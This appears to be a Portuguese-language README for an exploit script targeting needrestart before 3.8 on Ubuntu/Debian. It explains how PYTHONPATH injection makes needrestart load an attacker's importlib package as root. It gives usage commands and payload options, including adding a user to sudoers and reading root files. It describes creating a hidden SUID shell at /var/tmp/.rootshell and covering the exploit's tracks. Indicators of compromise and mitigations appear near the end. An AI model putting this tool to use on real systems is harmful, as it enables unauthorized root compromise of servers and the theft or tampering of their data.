
needrestart < 3.8 Escalação Local de Privilégios através de injeção PYTHONPATH
Exploit de escalação de privilégio local visando needrestart < 3.8 em sistemas Ubuntu/Debian via injeção de PYTHONPATH.
needrestart é um utilitário comumente instalado em servidores Ubuntu/Debian que verifica quais serviços precisam ser reiniciados após atualizações de bibliotecas. Ele é executado como root e geralmente é acionado automaticamente após operações apt ou invocado diretamente via sudo.
Ao verificar processos Python, o needrestart re-invoca o interpretador Python herdando todo o ambiente do processo de /proc/<pid>/environ — incluindo PYTHONPATH. Um usuário local não privilegiado pode explorar isso ao:
PYTHONPATH para um diretório contendo um pacote importlib maliciosoimportlib/__init__.py do atacante como root| Pacote | Vulnerável | Corrigido |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
Confirmado em:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
Em seguida, acione o needrestart a partir de outro terminal:
# If you have direct sudo access to needrestart:
sudo /usr/sbin/needrestart
# Or trigger it via apt (needrestart runs as a post-apt hook):
sudo apt update && sudo apt install --reinstall coreutils
Quando o needrestart é acionado, o exploit cria um shell SUID em /var/tmp/.rootshell e automaticamente fornece um shell root.
Se a execução automática não funcionar, pegue o shell manualmente:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
Opções:
-c <comando> Comando shell personalizado para executar como root (padrão: copiar shell suid)
-w <segundos> Tempo máximo de espera em segundos (padrão: 300)
-t Modo de acionamento: tentar acionar needrestart via apt
-n Sem limpeza: manter o diretório do payload após a exploração
-h Mostrar esta mensagem de ajuda
# Default — creates a SUID /bin/bash copy at /var/tmp/.rootshell
./exploit.sh
# Auto-trigger needrestart via apt (requires sudo apt access)
./exploit.sh -t
# Custom payload: add current user to sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'
# Custom payload: read a restricted file
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# Extended wait (10 minutes)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload │
│ that runs os.system() to copy /bin/bash as SUID binary │
├───────────────────────────────────────────────────────────────┤
│ 2. Spawns a long-running Python process with │
│ PYTHONPATH=/tmp/.nr_XXXX exported in its environment │
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart runs (via sudo or apt hook), scans │
│ /proc/*/environ, finds the Python process │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart re-invokes python3 AS ROOT inheriting the │
│ attacker's PYTHONPATH → loads malicious importlib │
├───────────────────────────────────────────────────────────────┤
│ 5. Payload executes as root: cp /bin/bash + chmod 4755 │
│ → attacker runs /var/tmp/.rootshell -p → root shell │
└───────────────────────────────────────────────────────────────┘
/var/tmp/ em vez de /tmp porque /tmp é comumente montado com nosuid, o que remove silenciosamente o bit SUID.importlib/__init__.py malicioso restaura o importlib real após a execução do payload limpando sys.path e sys.modules, para que o needrestart não trave visivelmente..py real (não um one-liner -c) para melhor compatibilidade com a varredura de interpretadores do needrestart.Indicadores de que este exploit foi utilizado:
/var/tmp/ ou /tmp/PYTHONPATH apontando para diretórios temporários/tmp/.nr_* contendo um subdiretório importlib/# Update needrestart to the patched version
sudo apt update && sudo apt install needrestart
# Or disable interpreter scanning entirely
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
Esta ferramenta é fornecida exclusivamente para testes de segurança autorizados e fins educacionais. Utilize-a apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por uso indevido.
MIT